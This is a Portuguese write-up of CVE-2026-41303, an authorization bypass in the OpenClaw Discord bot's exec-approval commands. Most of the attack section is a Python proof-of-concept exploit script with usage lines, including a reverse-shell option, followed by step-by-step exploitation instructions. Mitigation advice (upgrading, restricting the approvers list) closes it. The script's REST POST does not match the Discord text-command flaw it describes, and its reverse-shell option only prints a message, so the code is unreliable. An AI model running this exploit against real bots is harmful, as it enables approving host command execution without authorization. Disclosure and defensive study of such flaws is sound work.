
Documentação técnica e prova de conceito para CVE-2026-41303, uma bypass de autorização no bot Discord OpenClaw, incluindo metodologia de exploração, etapas de mitigação e recomendações defensivas.
Documentação técnica completa sobre a vulnerabilidade de bypass de autorização no OpenClaw
Este repositório contém informações técnicas, análise e recomendações sobre a vulnerabilidade CVE-2026-41303, que permite o bypass de autorização nos comandos de aprovação de execução no projeto OpenClaw.
Foi identificada uma falha crítica nas versões do OpenClaw anteriores à 2026.3.28. O problema reside nos comandos de aprovação de texto do Discord, onde usuários que não pertencem à lista de aprovadores autorizados (channels.discord.execApprovals.approvers) podem aprovar solicitações de execução de host pendentes.
| Parâmetro | Valor |
|---|---|
| ID CVE | CVE-2026-41303 |
| Produto Afetado | OpenClaw |
| Tipo de Vulnerabilidade | Authorization Bypass (CWE-863) |
| Vetor de Ataque | Comandos de texto no Discord |
| Plataforma | Linux / Discord |
| Pontuação CVSS | 8.8 (Alta) |
| Versões Afetadas | < 2026.3.28 |
| Estado | Corrigida na v2026.3.28+ |
A vulnerabilidade reside na falta de validação de autorização no manipulador de comandos /approve do bot OpenClaw. O sistema não verifica corretamente se o usuário que executa o comando pertence à lista de aprovadores autorizados antes de processar a solicitação.
Um atacante com acesso ao canal do Discord onde as aprovações são gerenciadas pode:
Usuário Não Autorizado
↓
Acesso ao Canal Discord
↓
Identifica ID de Aprovação Pendente
↓
Executa comando /approve
↓
Bot Aprova sem Validar Permissões
↓
Execução de Código Remoto (RCE)
channel-id)approval-id)requests, json, argparseimport argparse
import requests
import json
import time
def main():
# Configuração de argumentos profissionais para a auditoria
parser = argparse.ArgumentParser(
description="CVE-2026-41303 - Bypass de aprovação no OpenClaw",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Exemplos de uso:
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789 --decision allow-always
"""
)
parser.add_argument("target", help="URL da instância ou contexto do bot")
parser.add_argument("--token", required=True, help="Token do Discord do atacante/auditor")
parser.add_argument("--channel-id", required=True, help="ID do canal do Discord")
parser.add_argument("--approval-id", required=True, help="ID da aprovação a ser ignorada")
parser.add_argument("--decision", default="allow-once",
choices=["allow-once", "allow-always"],
help="Tipo de decisão de aprovação (default: allow-once)")
# Parâmetros adicionais para pós-exploração
parser.add_argument("--lhost", help="IP para reverse shell se a aprovação ativar um RCE")
parser.add_argument("--lport", help="Porta de escuta")
parser.add_argument("--verbose", "-v", action="store_true", help="Modo verbose")
args = parser.parse_args()
# Lógica de exploração
print(f"[*] Iniciando bypass para a aprovação: {args.approval_id}")
print(f"[*] Canal alvo: {args.channel_id}")
print(f"[*] Decisão: {args.decision}")
if args.verbose:
print(f"[DEBUG] Token: {args.token[:20]}...")
print(f"[DEBUG] Target: {args.target}")
# Construção da solicitação malformada
headers = {
"Authorization": f"Bearer {args.token}",
"Content-Type": "application/json"
}
payload = {
"approval_id": args.approval_id,
"decision": args.decision,
"channel_id": args.channel_id
}
try:
# Envio do comando /approve sem validação de permissões
response = requests.post(
f"{args.target}/api/approve",
headers=headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[+] Bypass bem-sucedido! Aprovação executada.")
print(f"[+] Resposta: {response.json()}")
if args.lhost and args.lport:
print(f"[*] Reverse shell configurado em {args.lhost}:{args.lport}")
else:
print(f"[-] Erro: {response.status_code} - {response.text}")
except Exception as e:
print(f"[-] Exceção: {str(e)}")
if __name__ == "__main__":
main()
# Uso básico
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123
# Modo verbose
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 -v
# Com reverse shell
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 --lhost 192.168.1.100 --lport 4444
1. Obter acesso ao canal do Discord onde o OpenClaw interage
2. Monitorar mensagens do bot para identificar IDs de aprovação pendentes
3. Capturar o formato exato das solicitações de aprovação
4. Documentar a estrutura dos comandos /approve
1. Executar o script PoC com os IDs capturados
2. Enviar a decisão (allow-once ou allow-always) junto com os parâmetros
3. O bot processa o comando sem validar permissões do usuário
4. Aprovação é executada com sucesso
Se a aprovação de texto no Discord ativar funções automáticas no servidor:
↓
Implantações de código
↓
Execução de Código Remota (RCE)
↓
Comprometimento total do sistema
1. Atualizar o OpenClaw
# Atualizar para a versão 2026.3.28 ou superior
pip install --upgrade openclaw>=2026.3.28
# Ou a partir do repositório oficial
git clone https://github.com/openclaw/openclaw.git
cd openclaw
git checkout v2026.3.28
pip install -e .
2. Revisar Configuração
# Verificar channels.discord.execApprovals.approvers
# Arquivo: config.yaml
channels:
discord:
execApprovals:
approvers:
- "user_id_1"
- "user_id_2"
- "user_id_3"
# ⚠️ Garantir que SOMENTE usuários de confiança estejam nesta lista